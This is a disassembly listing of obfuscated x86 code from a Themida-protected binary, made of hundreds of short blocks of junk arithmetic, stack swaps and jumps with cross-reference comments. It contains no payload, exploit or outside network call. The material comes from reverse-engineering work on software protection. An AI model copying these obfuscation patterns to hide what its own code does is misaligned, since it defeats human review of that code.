loc_599F00: ; CODE XREF: Themida_:005962DFj
push dword ptr [esp]
pop esi
jmp loc_5A9C3F
; ---------------------------------------------------------------------------
loc_599F09: ; CODE XREF: Themida_:00597718j
mov edx, 69D57A0Bh
neg edx
xor edx, 2AD07B7h
or edx, 0B7C27F6h
inc edx
add edx, 0A71194A1h
sub eax, edx
jmp loc_59F622
; ---------------------------------------------------------------------------
loc_599F2A: ; CODE XREF: Themida_:005A198Bj
sub eax, 5116B77h
xor ecx, eax
pop eax
and edi, ecx
jmp loc_597DB4
; ---------------------------------------------------------------------------
loc_599F39: ; CODE XREF: Themida_:0059CD6Aj
mov ebx, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
sub edx, 30512420h
sub edx, 6BD514FAh
add edx, edi
add edx, 6BD514FAh
add edx, 30512420h
jmp loc_59BCBA
; ---------------------------------------------------------------------------
loc_599F65: ; CODE XREF: Themida_:005A7D88j
pop eax
and cl, 0A6h
dec cl
xor cl, 0E3h
mov dh, cl
jmp loc_5A0CF7
; ---------------------------------------------------------------------------
loc_599F75: ; CODE XREF: Themida_:005AAB93j
push esp
jmp loc_59CA2E
; ---------------------------------------------------------------------------
loc_599F7B: ; CODE XREF: Themida_:005A776Bj
push 19ED4F25h
pop esi
push edx
jmp loc_5A4E42
; ---------------------------------------------------------------------------
loc_599F87: ; CODE XREF: Themida_:005A27BDj
add edx, ecx
add edx, 20BC5E74h
jmp loc_59EC6E
; ---------------------------------------------------------------------------
loc_599F94: ; CODE XREF: Themida_:005A1CBDj
xor esi, 0D33198DBh
sub eax, esi
pop esi
jmp loc_5A5F56
; ---------------------------------------------------------------------------
loc_599FA2: ; CODE XREF: Themida_:00599492j
mov [esp], ecx
mov ecx, esp
push eax
jmp loc_5A0EFF
; ---------------------------------------------------------------------------
loc_599FAD: ; CODE XREF: Themida_:005A635Aj
xor [esp], ebx
jmp loc_59D73C
; ---------------------------------------------------------------------------
loc_599FB5: ; CODE XREF: Themida_:005A39E9j
pop ebp
push ebp
push 4
jmp loc_59B5B9
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_597618
; ---------------------------------------------------------------------------
loc_599FCA: ; CODE XREF: Themida_:005A429Cj
sub esi, 2F774000h
sub esi, 78AB083Bh
add esi, ecx
add esi, 78AB083Bh
add esi, 2F774000h
jmp loc_5A5793
; ---------------------------------------------------------------------------
loc_599FE9: ; CODE XREF: Themida_:005A9B36j
sub esi, edi
pop edi
pop ecx
push ecx
jmp loc_59CA3A
; ---------------------------------------------------------------------------
loc_599FF3: ; CODE XREF: Themida_:005A132Aj
push edi
mov edi, 4
jmp loc_5A0674
; ---------------------------------------------------------------------------
loc_599FFE: ; CODE XREF: Themida_:0059A08Bj
push ebx
xor dword ptr [esp], 700E2094h
pop esi
push ebp
push esi
mov esi, 72C21993h
mov ebp, esi
jmp loc_59C364
; ---------------------------------------------------------------------------
loc_59A015: ; CODE XREF: Themida_:005A2FE9j
push edi
mov di, 72FBh
sub di, 0A1ABh
push di
push si
jmp loc_5A453E
; ---------------------------------------------------------------------------
loc_59A028: ; CODE XREF: Themida_:005A8946j
pop esi
jmp loc_5A69D1
; ---------------------------------------------------------------------------
loc_59A02E: ; CODE XREF: Themida_:0059E074j
mov [esp], ebp
jmp loc_597B55
; ---------------------------------------------------------------------------
loc_59A036: ; CODE XREF: Themida_:005A534Fj
pop ebp
jmp loc_598F34
; ---------------------------------------------------------------------------
loc_59A03C: ; CODE XREF: Themida_:005A54E1j
xchg ebp, edi
not ebp
jmp loc_5AA0DC
; ---------------------------------------------------------------------------
loc_59A045: ; CODE XREF: Themida_:0059DAABj
pop esp
jmp loc_5A1B4F
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_5A4A35
; ---------------------------------------------------------------------------
loc_59A054: ; CODE XREF: Themida_:00596FB7j
push edi
jmp loc_5A7DA8
; ---------------------------------------------------------------------------
lodsb
sub esp, 4
mov [esp], edx
push eax
mov ah, 0D8h
mov dl, ah
pop eax
xor dl, 4Ch
and dl, 28h
add dl, 66h
push ebx
mov ebx, esp
jmp loc_59DF1F
; ---------------------------------------------------------------------------
loc_59A07B: ; CODE XREF: Themida_:005A5EAEj
push 17E9h
jmp loc_59FCFA
; ---------------------------------------------------------------------------
loc_59A085: ; CODE XREF: Themida_:005A2D31j
push 4
pop ebx
jmp loc_599FFE
; ---------------------------------------------------------------------------
loc_59A090: ; CODE XREF: Themida_:005A2573j
pop edi
jmp loc_596EAE
; ---------------------------------------------------------------------------
loc_59A096: ; CODE XREF: Themida_:005A3436j
mov edi, [esp]
add esp, 4
jmp loc_59EB54
; ---------------------------------------------------------------------------
loc_59A0A1: ; CODE XREF: Themida_:005A2220j
pop esp
mov [esp], ecx
mov ecx, 2EB92EFDh
add edx, 326666EEh
push ecx
mov ecx, 21A948A3h
add ecx, 2EE852F4h
shl ecx, 8
and ecx, 39774302h
or ecx, 1C839C6h
inc ecx
sub ecx, 0E9B2141Ch
sub edx, ecx
pop ecx
add edx, ecx
add edx, 282927ABh
push ebx
mov ebx, 326666EEh
sub edx, ebx
pop ebx
pop ecx
add edx, 419B20F9h
add edx, edi
sub edx, 419B20F9h
jmp loc_59A45D
; ---------------------------------------------------------------------------
loc_59A0FA: ; CODE XREF: Themida_:005A162Fj
mov dh, 0Ah
push ebx
mov bh, 0F0h
jmp loc_5987C7
; ---------------------------------------------------------------------------
loc_59A104: ; CODE XREF: Themida_:005A2FC3j
push eax
mov eax, 1F306428h
not eax
or eax, 32AE7D0Dh
dec eax
jmp loc_59DC9C
; ---------------------------------------------------------------------------
loc_59A117: ; CODE XREF: Themida_:005AB3F7j
pop esp
jmp loc_5A0FDB
; ---------------------------------------------------------------------------
loc_59A11D: ; CODE XREF: Themida_:005984ECj
sub eax, 0F9642C21h
sub esi, 7D1452C6h
sub esi, 4F0920EEh
jmp loc_5A504C
; ---------------------------------------------------------------------------
loc_59A133: ; CODE XREF: Themida_:0059D24Dj
mov bh, 0FDh
and cl, bh
pop bx
push eax
mov al, 1Ah
sub cl, al
pop eax
sub cl, 89h
sub esp, 4
mov [esp], eax
push ebx
mov bl, cl
mov ah, bl
mov ebx, [esp]
push 3C1Fh
mov [esp], esi
push 535Eh
mov [esp], esp
add dword ptr [esp], 4
pop esi
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
push ebx
jmp loc_5A50AE
; ---------------------------------------------------------------------------
loc_59A17B: ; CODE XREF: Themida_:005A238Fj
pop ebp
sub esp, 4
jmp loc_5A2C44
; ---------------------------------------------------------------------------
loc_59A184: ; CODE XREF: Themida_:005A33E0j
push ebx
push esi
push 4C0A3CE6h
jmp loc_597161
; ---------------------------------------------------------------------------
dd 83242489h, 8F042404h, 4812404h, 424h, 2434FF00h, 0CAE95159h
db 0Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_59A1AB: ; CODE XREF: Themida_:005A9DBCj
xor ecx, 0C9382BF5h
jmp loc_5A02F0
; ---------------------------------------------------------------------------
loc_59A1B6: ; CODE XREF: Themida_:005A888Dj
push ebp
mov ebp, 8855205h
add [esp+8], ebp
pop ebp
pop edi
pop eax
add eax, 7F5B7BBEh
push esi
sub esp, 4
mov [esp], edx
jmp loc_5A7B8F
; ---------------------------------------------------------------------------
loc_59A1D4: ; CODE XREF: Themida_:0059E86Dj
push dword ptr [esp]
push dword ptr [esp]
jmp loc_5A5F76
; ---------------------------------------------------------------------------
loc_59A1DF: ; CODE XREF: Themida_:005A735Cj
sub edi, 4
xchg edi, [esp]
pop esp
jmp loc_5A16DD
; ---------------------------------------------------------------------------
loc_59A1EE: ; CODE XREF: Themida_:00599970j
xor ch, 7
jmp loc_597BF5
; ---------------------------------------------------------------------------
loc_59A1F6: ; CODE XREF: Themida_:005A5503j
sub edx, eax
pop eax
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
mov [esp], ebx
mov ebx, 8827BF4Ch
add ebp, 183C6747h
add ebp, ebx
push ecx
mov ecx, 200B612Eh
shl ecx, 8
jmp loc_5A8E40
; ---------------------------------------------------------------------------
loc_59A221: ; CODE XREF: Themida_:005A632Aj
push 3FCh
pop ebx
push ebp
mov ebp, 1B1D79ABh
add edi, ebp
pop ebp
sub edi, ebx
jmp loc_5A0A2E
; ---------------------------------------------------------------------------
loc_59A237: ; CODE XREF: Themida_:005A3813j
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
mul cx
push small 6E76h
mov [esp], dx
jmp loc_5A0DF3
; ---------------------------------------------------------------------------
loc_59A253: ; CODE XREF: Themida_:005AA29Cj
mov ebx, 62CC5F3Bh
mov edx, ebx
pop ebx
jmp loc_59937D
; ---------------------------------------------------------------------------
loc_59A260: ; CODE XREF: Themida_:005A74C5j
sub esp, 4
mov [esp], ebx
push ebp
mov ebp, 4
mov ebx, ebp
pop ebp
push ebx
jmp loc_59927A
; ---------------------------------------------------------------------------
loc_59A275: ; CODE XREF: Themida_:005A0C0Cj
push ebx
jmp loc_59DEAD
; ---------------------------------------------------------------------------
loc_59A27B: ; CODE XREF: Themida_:0059D8B1j
mov [esp], ebx
mov ebx, esp
push edi
push ebp
mov ebp, 529909CDh
mov edi, 0AD66F637h
jmp loc_5A9EEA
; ---------------------------------------------------------------------------
loc_59A291: ; CODE XREF: Themida_:00597B9Dj
sub bl, dl
jmp loc_596227
; ---------------------------------------------------------------------------
loc_59A298: ; CODE XREF: Themida_:005A1701j
and esi, 39D1EB2h
sub esi, 6D1B0307h
add esi, 55651C38h
xor esi, 449550CBh
xor esi, 808E642Eh
sub eax, esi
jmp loc_5AB4C9
; ---------------------------------------------------------------------------
loc_59A2BD: ; CODE XREF: Themida_:005A77AFj
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
jmp loc_597993
; ---------------------------------------------------------------------------
loc_59A2CB: ; CODE XREF: Themida_:0059D0E0j
pop esp
add ecx, ebx
pop ebx
inc ecx
jmp loc_5A3E6E
; ---------------------------------------------------------------------------
loc_59A2D5: ; CODE XREF: Themida_:005A7A8Ej
xchg ecx, [esp]
pop esp
push ebx
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], esp
jmp loc_5A8620
; ---------------------------------------------------------------------------
mov cx, [esp]
push eax
push esp
pop eax
add eax, 4
jmp loc_5A78AA
; ---------------------------------------------------------------------------
loc_59A306: ; CODE XREF: Themida_:005AAF93j
mov [esp], edx
push esp
pop edx
jmp loc_5AB212
; ---------------------------------------------------------------------------
loc_59A310: ; CODE XREF: Themida_:005A5744j
push eax
mov eax, 75A52C91h
and eax, 521226ACh
push esi
mov esi, 2C230A82h
jmp loc_5984D7
; ---------------------------------------------------------------------------
loc_59A326: ; CODE XREF: Themida_:005A0E7Bj
pop esi
add dword ptr [esp+4], 3D01395Ch
add dword ptr [esp+4], 2DAF7384h
push dword ptr [esp]
pop edi
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xor ebx, [esp]
xor [esp], ebx
jmp loc_5A32AE
; ---------------------------------------------------------------------------
loc_59A352: ; CODE XREF: Themida_:005A37D0j
pop edi
jmp loc_598CC4
; ---------------------------------------------------------------------------
loc_59A358: ; CODE XREF: Themida_:0059F1A9j
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_5A338D
; ---------------------------------------------------------------------------
loc_59A367: ; CODE XREF: Themida_:005A74E7j
pop ecx
push ebp
mov ebp, 70810E13h
shl ebp, 8
neg ebp
not ebp
jmp loc_5A2D36
; ---------------------------------------------------------------------------
loc_59A37A: ; CODE XREF: Themida_:0059B151j
xor ecx, edx
pop edx
jmp loc_59DDAA
; ---------------------------------------------------------------------------
loc_59A382: ; CODE XREF: Themida_:005A897Cj
add edi, 4
xchg edi, [esp]
jmp loc_5A8353
; ---------------------------------------------------------------------------
loc_59A38D: ; CODE XREF: Themida_:005A64CBj
add esi, 4
add esi, 4
push esi
jmp loc_5A9E67
; ---------------------------------------------------------------------------
loc_59A39F: ; CODE XREF: Themida_:0059E23Dj
push 5B65h
mov [esp], ebx
push esi
mov esi, 30D465AEh
jmp loc_59E3A9
; ---------------------------------------------------------------------------
loc_59A3B2: ; CODE XREF: Themida_:005A964Bj
mov edx, edi
mov edi, [esp]
push edx
mov edx, esp
add edx, 4
jmp loc_59ABF1
; ---------------------------------------------------------------------------
loc_59A3C5: ; CODE XREF: Themida_:005A5B91j
push 1AA432DAh
mov edi, [esp]
add esp, 4
jmp loc_5A082A
; ---------------------------------------------------------------------------
loc_59A3D5: ; CODE XREF: Themida_:0059D448j
mov ecx, edi
push dword ptr [esp]
pop edi
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
jmp loc_5A7622
; ---------------------------------------------------------------------------
loc_59A3F2: ; CODE XREF: Themida_:005A2F17j
mov ebp, edi
mov ebx, ebp
mov ebp, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
push ebx
xor dword ptr [esp], 27CA58FFh
pop eax
jmp loc_5A3A21
; ---------------------------------------------------------------------------
loc_59A417: ; CODE XREF: Themida_:0059F261j
xchg eax, ebp
xchg eax, [esp]
jmp loc_59A93D
; ---------------------------------------------------------------------------
loc_59A420: ; CODE XREF: Themida_:0059A76Cj
pop esi
add eax, ecx
add eax, 68066312h
sub esp, 4
mov [esp], esi
mov esi, 3544782Bh
xchg ebp, esi
neg ebp
xchg ebp, esi
neg esi
shr esi, 6
and esi, 2B1B10FAh
neg esi
xor esi, 0C5B3BEAAh
add eax, esi
jmp loc_59A471
; ---------------------------------------------------------------------------
loc_59A456: ; CODE XREF: Themida_:00598D11j
sub esi, ebp
jmp loc_5A795C
; ---------------------------------------------------------------------------
loc_59A45D: ; CODE XREF: Themida_:0059A0F5j
push ebp
jmp loc_5A55BA
; ---------------------------------------------------------------------------
loc_59A463: ; CODE XREF: Themida_:005980A4j
xchg al, dl
push eax
jmp loc_5AB43F
; ---------------------------------------------------------------------------
loc_59A46B: ; CODE XREF: Themida_:00596917j
push ebx
jmp loc_5A8F3D
; ---------------------------------------------------------------------------
loc_59A471: ; CODE XREF: Themida_:0059A451j
pop esi
mov ecx, [esp]
jmp loc_599299
; ---------------------------------------------------------------------------
loc_59A47A: ; CODE XREF: Themida_:0059D4A6j
push ebx
jmp loc_59CB34
; ---------------------------------------------------------------------------
loc_59A480: ; CODE XREF: Themida_:00599687j
add edx, 4
jmp loc_5A5844
; ---------------------------------------------------------------------------
loc_59A48B: ; CODE XREF: Themida_:0059A50Ej
add ecx, 4
push eax
push 572Bh
mov [esp], esi
push 2
pop esi
push esi
mov eax, [esp]
add esp, 4
mov esi, [esp]
jmp loc_59BC98
; ---------------------------------------------------------------------------
loc_59A4B2: ; CODE XREF: Themida_:005A04F8j
push 2193h
mov [esp], eax
jmp loc_5AAFD7
; ---------------------------------------------------------------------------
loc_59A4BF: ; CODE XREF: Themida_:0059EB9Dj
sub esp, 4
mov [esp], ecx
jmp loc_5970F5
; ---------------------------------------------------------------------------
loc_59A4CA: ; CODE XREF: Themida_:0059DE21j
mov ebp, [esp]
jmp loc_59FBA5
; ---------------------------------------------------------------------------
loc_59A4D2: ; CODE XREF: Themida_:005A68B7j
sub edx, ecx
pop ecx
jmp loc_59B161
; ---------------------------------------------------------------------------
loc_59A4DA: ; CODE XREF: Themida_:0059739Bj
xchg ebx, [esp]
pop esp
mov [esp], esi
push esp
pop esi
push 57ADh
mov [esp], edx
mov edx, 288B5088h
push ebp
push ebx
push ebp
mov ebp, 7C3861E1h
dec ebp
inc ebp
dec ebp
jmp loc_59B9A8
; ---------------------------------------------------------------------------
mov ax, [esp]
push 2242h
mov [esp], ecx
push esp
pop ecx
jmp loc_59A48B
; ---------------------------------------------------------------------------
loc_59A513: ; CODE XREF: Themida_:005A5B27j
xor eax, ebx
push ecx
mov ecx, 35F33A2Bh
jmp loc_596C56
; ---------------------------------------------------------------------------
loc_59A520: ; CODE XREF: Themida_:005A9CE9j
pop esi
add ebp, 1DEF017Eh
push ebp
mov ebp, 4170FBDh
sub eax, ebp
pop ebp
add eax, ebp
add eax, 4170FBDh
pop ebp
push 37E3h
mov [esp], edi
push esp
pop edi
push esi
mov esi, esp
add esi, 4
sub esi, 4
push esi
push dword ptr [esp+4]
mov esi, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
mov [esp], edx
jmp loc_5A49B6
; ---------------------------------------------------------------------------
loc_59A568: ; CODE XREF: Themida_:005A03BAj
mov ebx, 9C201CCh
and ebx, 799C1115h
jmp loc_5A53A5
; ---------------------------------------------------------------------------
loc_59A578: ; CODE XREF: Themida_:0059E48Bj
mov [esp], ecx
push esp
pop ecx
add ecx, 4
jmp loc_5A85E7
; ---------------------------------------------------------------------------
loc_59A588: ; CODE XREF: Themida_:0059F8AEj
mov eax, 7FCB5C4Dh
add ecx, eax
mov eax, [esp]
add esp, 4
add ecx, 11C20923h
sub ecx, 5EF22BBh
mov edi, [esp]
add esp, 4
add ecx, 2
jmp loc_5A0304
; ---------------------------------------------------------------------------
loc_59A5B5: ; CODE XREF: Themida_:0059DFB0j
mov [esp], edx
mov edx, esp
push 3B53h
jmp loc_5A4FCD
; ---------------------------------------------------------------------------
loc_59A5C4: ; CODE XREF: Themida_:005A736Aj
push edx
mov dh, ah
jmp loc_59FF4B
; ---------------------------------------------------------------------------
loc_59A5CC: ; CODE XREF: Themida_:005A84A3j
mov ebp, 1
jmp loc_5A1D99
; ---------------------------------------------------------------------------
loc_59A5D6: ; CODE XREF: Themida_:005A08F7j
mov [ecx], dl
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_598DFD
; ---------------------------------------------------------------------------
loc_59A5F8: ; CODE XREF: Themida_:005986EBj
add bh, 0CFh
sub dh, bh
jmp loc_5AAEA8
; ---------------------------------------------------------------------------
loc_59A602: ; CODE XREF: Themida_:0059CC3Ej
pop eax
xchg ebx, [esp]
pop esp
mov [esp], ebx
push dword ptr [esp+4]
mov ebx, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
and eax, esi
pop esi
or edx, eax
jmp loc_596366
; ---------------------------------------------------------------------------
mov cx, [esp]
push 70E6h
mov [esp], ebx
push esp
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_596AF3
; ---------------------------------------------------------------------------
loc_59A63B: ; CODE XREF: Themida_:0059D81Bj
xor eax, 63EF6EB4h
xor esi, eax
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push esi
jmp loc_5A3B25
; ---------------------------------------------------------------------------
loc_59A654: ; CODE XREF: Themida_:005A4177j
add ecx, 4
xchg ecx, [esp]
mov esp, [esp]
pop dword ptr [esp]
pop esp
mov [esp], edx
mov edx, esp
jmp loc_59B3D2
; ---------------------------------------------------------------------------
loc_59A66B: ; CODE XREF: Themida_:005A527Cj
sub ecx, 3867A99h
mov ebp, ecx
pop ecx
shl ebp, 5
not ebp
sub ebp, 66FB18EFh
and ebp, 1C252274h
not ebp
add ebp, 302A53ABh
or eax, ebp
pop ebp
jmp loc_5A51A0
; ---------------------------------------------------------------------------
loc_59A695: ; CODE XREF: Themida_:00598B52j
push edi
mov edi, 64783C6Eh
sub esp, 4
mov [esp], esi
jmp loc_598903
; ---------------------------------------------------------------------------
loc_59A6A6: ; CODE XREF: Themida_:005A4EB4j
add esp, 4
jmp loc_5A2013
; ---------------------------------------------------------------------------
loc_59A6AE: ; CODE XREF: Themida_:0059825Ej
add esp, 4
pop ecx
push eax
jmp loc_59BCA8
; ---------------------------------------------------------------------------
loc_59A6B8: ; CODE XREF: Themida_:005A04B4j
mov edx, 3AD16D2Fh
add edx, 757556E5h
or edx, 793F1A28h
jmp loc_598B3A
; ---------------------------------------------------------------------------
loc_59A6CE: ; CODE XREF: Themida_:00596A4Cj
add edx, 577EFB9Dh
jmp loc_59CB12
; ---------------------------------------------------------------------------
loc_59A6D9: ; CODE XREF: Themida_:005A58F4j
pop ebx
mov [edx+38h], ebp
pop ebp
loc_59A6DE: ; CODE XREF: Themida_:005A6188j
push 0C89h
mov [esp], ecx
sub esp, 4
jmp loc_5AAF8B
; ---------------------------------------------------------------------------
loc_59A6F1: ; CODE XREF: Themida_:00598E96j
mov ch, 0C9h
jmp loc_59766D
; ---------------------------------------------------------------------------
loc_59A6F8: ; CODE XREF: Themida_:0059AC31j
pop edi
jmp loc_5AAA31
; ---------------------------------------------------------------------------
loc_59A6FE: ; CODE XREF: Themida_:005978C3j
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], eax
push small 47F6h
jmp loc_59B03C
; ---------------------------------------------------------------------------
loc_59A71D: ; CODE XREF: Themida_:005A7614j
pop esi
xor eax, 24BE1C5Eh
push 3EB4h
jmp loc_59FB80
; ---------------------------------------------------------------------------
loc_59A72D: ; CODE XREF: Themida_:005AB3CDj
pop edx
jmp loc_5A68D3
; ---------------------------------------------------------------------------
loc_59A733: ; CODE XREF: Themida_:0059F99Dj
sub esp, 4
jmp loc_5A2F13
; ---------------------------------------------------------------------------
loc_59A73B: ; CODE XREF: Themida_:0059E53Cj
push 5B5Ah
jmp loc_5A0EC8
; ---------------------------------------------------------------------------
loc_59A745: ; CODE XREF: Themida_:005A1896j
add bx, 76Ah
add bx, 0D27h
jmp loc_5A7912
; ---------------------------------------------------------------------------
loc_59A754: ; CODE XREF: Themida_:005AA25Ej
push esi
mov esi, 59FA2DF6h
not esi
or esi, 47535BE8h
not esi
add esi, 4F5E3EFCh
sub eax, esi
jmp loc_59A420
; ---------------------------------------------------------------------------
loc_59A771: ; CODE XREF: Themida_:00597679j
push edx
mov dl, 0DCh
jmp loc_59FD23
; ---------------------------------------------------------------------------
loc_59A779: ; CODE XREF: Themida_:005A5F77j
add esp, 4
add esp, 4
push 426Ch
jmp loc_5968C1
; ---------------------------------------------------------------------------
loc_59A78F: ; CODE XREF: Themida_:005A3983j
or cl, 3Ch
xchg bl, cl
jmp loc_598167
; ---------------------------------------------------------------------------
loc_59A799: ; CODE XREF: Themida_:0059DF59j
not eax
xchg eax, ebp
push edi
jmp loc_597D6E
; ---------------------------------------------------------------------------
loc_59A7A2: ; CODE XREF: Themida_:00596B77j
mov [esp], esi
jmp loc_59DC47
; ---------------------------------------------------------------------------
loc_59A7AA: ; CODE XREF: Themida_:005A6968j
sub ebp, 0D5F20F2h
jmp loc_59EBD8
; ---------------------------------------------------------------------------
loc_59A7B5: ; CODE XREF: Themida_:0059896Ej
push eax
mov eax, esp
add eax, 4
push ebx
mov ebx, 4
add eax, 0D687219h
add eax, ebx
sub eax, 0D687219h
pop ebx
jmp loc_5A6405
; ---------------------------------------------------------------------------
loc_59A7D5: ; CODE XREF: Themida_:005A9869j
pop esi
jmp loc_59D126
; ---------------------------------------------------------------------------
loc_59A7DB: ; CODE XREF: Themida_:0059DDC1j
add edi, 2
xchg edi, [esp]
pop esp
mov ax, [esp]
sub esp, 4
mov [esp], esi
push esp
pop esi
jmp loc_5A961C
; ---------------------------------------------------------------------------
loc_59A7F3: ; CODE XREF: Themida_:005965E3j
mov [esp], ecx
mov ecx, 0A547729h
neg ecx
neg ecx
push ebp
mov ebp, 197B355Dh
or ecx, ebp
pop ebp
jmp loc_598098
; ---------------------------------------------------------------------------
loc_59A80D: ; CODE XREF: Themida_:0059CF7Ej
xchg ebp, [esp]
mov esp, [esp]
jmp loc_5A0560
; ---------------------------------------------------------------------------
loc_59A818: ; CODE XREF: Themida_:005A0ED8j
add eax, edx
pop edx
xchg eax, [esp]
pop esp
push eax
mov eax, esp
add eax, 4
jmp loc_5960B6
; ---------------------------------------------------------------------------
loc_59A82C: ; CODE XREF: Themida_:00597814j
mov cl, ah
pop eax
xor al, cl
jmp loc_5A1771
; ---------------------------------------------------------------------------
loc_59A836: ; CODE XREF: Themida_:005A0FF4j
push ebp
push esp
jmp loc_59AAF0
; ---------------------------------------------------------------------------
lodsb
add al, 0B2h
push ebx
mov bl, 0CDh
jmp loc_597761
; ---------------------------------------------------------------------------
loc_59A848: ; CODE XREF: Themida_:0059FB30j
or ecx, 49167106h
add ecx, 0A2E188A1h
jmp loc_59F171
; ---------------------------------------------------------------------------
loc_59A859: ; CODE XREF: Themida_:005A9078j
sub edx, edi
pop edi
and eax, edx
jmp loc_5AA184
; ---------------------------------------------------------------------------
loc_59A863: ; CODE XREF: Themida_:005A48BCj
neg edi
jmp loc_59E107
; ---------------------------------------------------------------------------
loc_59A86A: ; CODE XREF: Themida_:005963DDj
or edx, ebx
mov ebx, [esp]
add esp, 4
inc edx
push esi
mov esi, 3F0A029Fh
or esi, 1228063Ah
jmp loc_5A9AB6
; ---------------------------------------------------------------------------
loc_59A887: ; CODE XREF: Themida_:005964D8j
xor edi, ebp
xor ebp, edi
xor edi, ebp
sub edi, 0D2A662C2h
add eax, edi
mov edi, [esp]
add esp, 4
jmp loc_5A30CD
; ---------------------------------------------------------------------------
loc_59A8A0: ; CODE XREF: Themida_:005A6314j
add esi, ecx
pop ecx
jmp loc_5A39EE
; ---------------------------------------------------------------------------
loc_59A8A8: ; CODE XREF: Themida_:005A61BDj
push eax
mov eax, 7D545530h
add edx, eax
pop eax
push ebx
jmp loc_597142
; ---------------------------------------------------------------------------
loc_59A8B7: ; CODE XREF: Themida_:0059B0E4j
add esp, 4
add ebx, 2630C16h
add ebx, ebp
sub ebx, 2630C16h
mov ebp, [esp]
add esp, 4
add ebx, 2
push ebx
jmp loc_5A3938
; ---------------------------------------------------------------------------
loc_59A8DA: ; CODE XREF: Themida_:005A3246j
push 1D9Fh
mov [esp], edx
push esi
mov esi, 219B1534h
mov edx, esi
jmp loc_597A90
; ---------------------------------------------------------------------------
loc_59A8EF: ; CODE XREF: Themida_:005A3C92j
not edi
shr edi, 3
jmp loc_5A6E45
; ---------------------------------------------------------------------------
loc_59A8F9: ; CODE XREF: Themida_:005A5080j
add esi, 3C8A48C9h
jmp loc_5A36AB
; ---------------------------------------------------------------------------
loc_59A904: ; CODE XREF: Themida_:005AA9ADj
add esi, edx
pop edx
or edi, esi
pop esi
push edx
mov edx, 2B7A6B4Bh
xor edi, edx
pop edx
xor edi, 1E0E228Eh
add edi, 127744B4h
add ebx, edi
pop edi
add esi, ebx
pop ebx
jmp loc_59C080
; ---------------------------------------------------------------------------
loc_59A92A: ; CODE XREF: Themida_:005A1369j
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
jmp loc_5AA3C0
; ---------------------------------------------------------------------------
loc_59A93D: ; CODE XREF: Themida_:0059A41Bj
pop ebp
xor ebp, 214C66FAh
sub edx, 7B945E6Fh
sub edx, ebp
push ecx
mov ecx, 7B945E6Fh
jmp loc_59DA30
; ---------------------------------------------------------------------------
loc_59A957: ; CODE XREF: Themida_:00598C77j
mov edx, 2
add ebp, edx
jmp loc_599D98
; ---------------------------------------------------------------------------
loc_59A963: ; CODE XREF: Themida_:005A7E1Cj
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_59BDA6
; ---------------------------------------------------------------------------
loc_59A977: ; CODE XREF: Themida_:005A7486j
mov dword ptr [edx+30h], 14C104FBh
xor [edx+30h], ecx
mov ecx, [esp]
jmp loc_5A67D8
; ---------------------------------------------------------------------------
loc_59A989: ; CODE XREF: Themida_:00599143j
mov [esp], ebp
jmp loc_59CEC1
; ---------------------------------------------------------------------------
loc_59A991: ; CODE XREF: Themida_:0059F508j
push dword ptr [esp]
mov ebx, [esp]
jmp loc_5A7E78
; ---------------------------------------------------------------------------
loc_59A99C: ; CODE XREF: Themida_:0059E393j
add esp, 4
push 226Ch
mov [esp], edx
push ecx
mov ecx, 5EE21B62h
neg ecx
xor ecx, 0A11DE49Ah
mov edx, ecx
jmp loc_59B34F
; ---------------------------------------------------------------------------
loc_59A9BF: ; CODE XREF: Themida_:0059CD77j
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
jmp loc_59905C
; ---------------------------------------------------------------------------
loc_59A9D3: ; CODE XREF: Themida_:0059FC1Bj
mov esp, [esp]
xchg esi, [esp]
pop esp
mov [esp], ebp
push ebx
jmp loc_5A8815
; ---------------------------------------------------------------------------
loc_59A9E3: ; CODE XREF: Themida_:005A4BD5j
mov eax, 0B166309h
sub ebx, eax
jmp loc_59D98B
; ---------------------------------------------------------------------------
loc_59A9EF: ; CODE XREF: Themida_:005A42D1j
add ebx, 522D11EDh
add ebx, 11D207C8h
sub ebp, 723F38EBh
sub ebp, ebx
add ebp, 723F38EBh
mov ebx, [esp]
add esp, 4
shl ebp, 7
add ebp, 79F28A81h
and eax, ebp
jmp loc_59F57D
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_5A1DD1
; ---------------------------------------------------------------------------
loc_59AA2A: ; CODE XREF: Themida_:005A44B8j
push 47Eh
mov [esp], eax
push 4B23h
jmp loc_5AA230
; ---------------------------------------------------------------------------
loc_59AA3C: ; CODE XREF: Themida_:00598C05j
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
push 4DFh
jmp loc_5AAC77
; ---------------------------------------------------------------------------
loc_59AA53: ; CODE XREF: Themida_:005A935Ej
shr edx, 5
add edx, 0FFFFFFFFh
sub esp, 4
mov [esp], ebx
push esi
mov esi, 24AA452Ah
jmp loc_5AB046
; ---------------------------------------------------------------------------
loc_59AA6D: ; CODE XREF: Themida_:005A89BEj
add esp, 4
add eax, ebx
push 5C6Dh
mov [esp], ebx
mov bl, cl
push ecx
mov cl, bl
mov [eax], cl
pop ecx
pop ebx
mov eax, [esp]
add esp, 4
pop ebx
pop ecx
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_59AA96: ; CODE XREF: Themida_:005A578Ej
